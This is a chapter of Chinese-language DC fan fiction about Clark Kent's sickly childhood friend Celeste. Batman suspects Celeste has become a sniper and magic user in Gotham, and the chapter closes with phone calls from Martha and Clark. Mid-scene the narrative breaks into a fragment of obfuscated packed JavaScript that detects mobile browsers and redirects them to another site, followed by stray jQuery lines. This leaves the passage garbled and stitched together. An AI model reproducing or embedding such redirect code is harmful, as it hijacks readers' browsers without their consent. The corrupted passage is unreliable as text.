塞莱斯特在堪萨斯州的农场里长大,记忆里有漫无边际的金色麦田,有夏日清澈明媚的湛蓝天空,小时候他总蹲在田埂边捉甲虫、看蚂蚁搬家。阳光热烘烘地晒在背上,风里混着干草和泥土的气息,那曾是他最熟悉的自由。
当然。
这段描述更适合另一个名字,远比塞莱斯特这个名字更令人熟悉,更令人印象深刻。
克拉克·肯特。
而这个名字背后,有着世人皆知的另一个身份。
那个来自氪星的遗孤,
——超人,卡尔·艾尔。
*
塞莱斯特紧盯着桌上嗡嗡震动的手机,屏幕亮着“克拉克·肯特”的名字。他脸色凝重,如临大敌,仿佛那不是一通电话,而是一枚即将引爆的炸.弹。
现在是哥谭下午的三点,窗外天空压着层阴云,灰蒙蒙一片,雨要下不下。
一种说不清道不明的恐惧席卷了塞莱斯特的内心。这很反常,他并不惧怕蝙蝠侠,却对一通来自小镇童年好友的电话心生抗拒。
正如他当初离开一切顺遂的大都会,头也不回地逃来哥谭。
他想远离过去的一切。
那些他想遗忘,却始终盘旋不去的影子,
如幽灵般缠绕着他,
如影随形。
*
韦恩庄园,布鲁斯的卧室内。
“呃……塞莱斯特没接我电话。”
克拉克——超人悬浮在离地几英寸的空中,手里握着无人接听的手机,蓝眼睛里带着些许茫然。制服上还沾着灰,红披风一角卷着枯叶,显然是刚扑灭南半球的森林火灾就匆匆赶来。
布鲁斯正对着镜子用粉底遮盖眼底的乌青,闻言头也不回:“那你为什么不继续打?”
“万一他正在忙呢?”克拉克语气单纯,他想的很简单,“也许过会儿就会回拨了。”
布鲁斯冷笑一声,将平板递过去。屏幕上显示着监控画面,那个灰绿眼眸的男人正坐在昏暗的房间里,对着震动的手机发呆。
“拉奥啊!布鲁斯你监视我朋友!”克拉克惊呼。
但很快,没等布鲁斯说些什么,这个习惯信任自己黑漆漆搭档的氪星人又压低声音问:“所以,塞莱斯特到底做了什么,让你这样警惕?”
布鲁斯:“这得问你,超人,你从来没跟我说过你有一个童年好友。”
克拉克:“拜托,我也是这两年才重新和他联系上。而且没人规定必须把所有人际关系都向搭档报备吧?”
布鲁斯的脸色更阴沉了。
“不过话说回来,”克拉克自然地转移话题,“塞莱斯特从小连条鱼都不敢杀,身体又弱,走两步就咳嗽。我实在想象不出他能做出什么让你戒备的事——拉奥啊,你居然主动找我帮忙!”
“不过,布鲁斯,相信我。我了解他,就像我了解你。他绝不会做出格的事。”
布鲁斯难以言喻地看着胸有成竹的氪星人。
他想,老天,就是因为这家伙总是想的那么天真,他才不能直接告诉他:嘿,你老家的那位连鱼都不敢杀、走两步就咳嗽的病弱童年好友,现在来了哥谭就突然变成一晚上制造两起狙.击命案、会魔法、还跟企鹅人勾结的职业杀手?
他能怎么说?他该怎么说?
他必须先把那个塞莱斯特·菲尔温里里外外彻底调查清楚才行。
首要问题就在于,菲尔温的人生经历和他如今表现出的真实面目,存在无法解释的巨大断层。
布鲁斯通宵了两天,查遍塞莱斯特·菲尔温二十五年来所有能查到和不能查到的记录,没有枪械训练、没有重大变故,没有失踪经历。所以是什么让一个普通人在短短时间内变成精通狙.击、会魔法,且阴沉危险的家伙?
布鲁斯压下内心隐隐的不安,一把推开挡路的氪星人,从门口挤出去,斩钉截铁地下令:“今晚哥谭有场慈善晚宴。你想办法带塞莱斯特·菲尔温进场。”
克拉克跟在后面飞出去,絮絮叨叨:“沃尔什先生主办的那场?佩里本来派露易丝去,但她更想拍加黑利岛的内战……等等,让我带塞莱斯特进晚宴?拉奥啊,这怎么可能!他是财务人员,又不是记者!我能用什么理由骗——邀请他?布鲁斯!布鲁斯……等等,塞莱斯特在哥谭?!”
布鲁斯阴沉着脸下楼。
阿尔弗雷德将咖啡放在餐桌上,淡定道:“领带歪了,布鲁斯老爷。不过今天的红色很衬您。”
布鲁斯刚要开始今天的第一餐,闻言放下刀叉,低头整理领带:“谢谢,阿福。”
身后传来克拉克崩溃的哀嚎:“布鲁斯!我真的好久没见他了!难道要说‘嘿!好久不见,今晚能陪我参加慈善晚宴吗?’——这太奇怪了!”
布鲁斯无视身后的喧闹,继续进食,但此时他的大脑正在高速运转。
除了塞莱斯特·菲尔温那份过于干净的经历与展现出的危险特性严重不符之外,更让他隐隐不安的还有另一件事——菲尔温此前从未踏足过哥谭。
那么,他为什么会对蝙蝠侠的进攻节奏如此熟悉?
蝙蝠侠不得不开始怀疑。
塞莱斯特·菲尔温也许早就认识他了。
*
塞莱斯特近乎绝望地看着手机屏幕第三次亮起,“克拉克·肯特”的名字固执地跳动着。他深吸一口气,颤抖的手指终于悬停在接听键上方。
就在按下前一刻,铃声戛然而止,屏幕瞬间切换,跳出一个让他心脏骤停的名字:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457428|185352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>……“玛莎婶婶”。
他的呼吸微微一滞,指尖蜷缩,慢慢握成了拳。
玛莎·肯特。克拉克的母亲,也是他外祖母生前最好、乃至唯一称得上挚友的人。
沉默在空气中蔓延数秒,他终究按下了接听。
听筒里传来那一如既往温和的嗓音:“嗨,塞莱斯特?是我,玛莎。”
“……好久不见,玛莎婶婶。”
他听见自己干涩的声音响起。
*
一旁,克拉克的表情十分微妙。
他眼睁睁看着母亲只拨了一次电话就立刻被接通,而他自己连续三次呼叫都石沉大海。
所以,不是没空,只是不想接他的电话?
克拉克心里泛起一阵委屈。
玛莎一边语气轻柔地和塞莱斯特聊着家常,一边递给他一个询问的眼神:你是不是和塞莱斯特闹矛盾了?
克拉克开始努力回溯记忆,甚至怀疑自己是否在某天不小心丢失了一段重要记忆——偏偏是关于和塞莱斯特吵架的记忆?
他搜寻无果,一段尘封的往事却毫无预兆地浮现。
那是他小时候刚发现自己与众不同的时候,害怕又孤独,躲在金黄色的麦田里偷偷哭泣。然后,年幼的塞莱斯特找了过来,挨着他坐下,小声安慰道:
“别怕,克拉克,你不是怪胎,你只是……觉醒了一些特别酷的能力。其实我也有,只是我的能力和你比起来太普通了。要听我讲讲吗?……唔,事实上,我会年龄倒退,我觉得我不该是现在这个年纪。所以,克拉克,也许再过几年,我就会慢慢变回小婴儿,然后死掉吧。”
……这种安慰方式也太地狱了。
但克拉克至今仍然记得那双眼睛,小时候的塞莱斯特,眼睛是清澈透亮的绿,像未经打磨的宝石,纯粹得让人无法怀疑他说出的每一句话。所以那时的克拉克完全信了,抱着小伙伴哭了一下午,生怕第二天就见不到对方。后来才知道,那只是个有点过火的玩笑。
现在,这段尘封的往事莫名清晰地重现在脑海。
克拉克不由自主地再次确认:那真的,只是个玩笑吧?
……是吧,塞莱斯特?
他不知为何,突然有些心惊胆战。
远在哥谭的塞莱斯特忍不住打了个喷嚏,随即察觉到电话那头换了人。
一个熟悉的声音响起,但语气却让他感到陌生。
那本该是冰冷、疏离、带着不容置疑的命令式口吻,此刻却变得……
小心翼翼,甚至带着几分忐忑。
“嘿,塞莱斯特……你最近身体还好吗?”
于是,塞莱斯特意识到了一件事。
现在的超人……
很容易死去。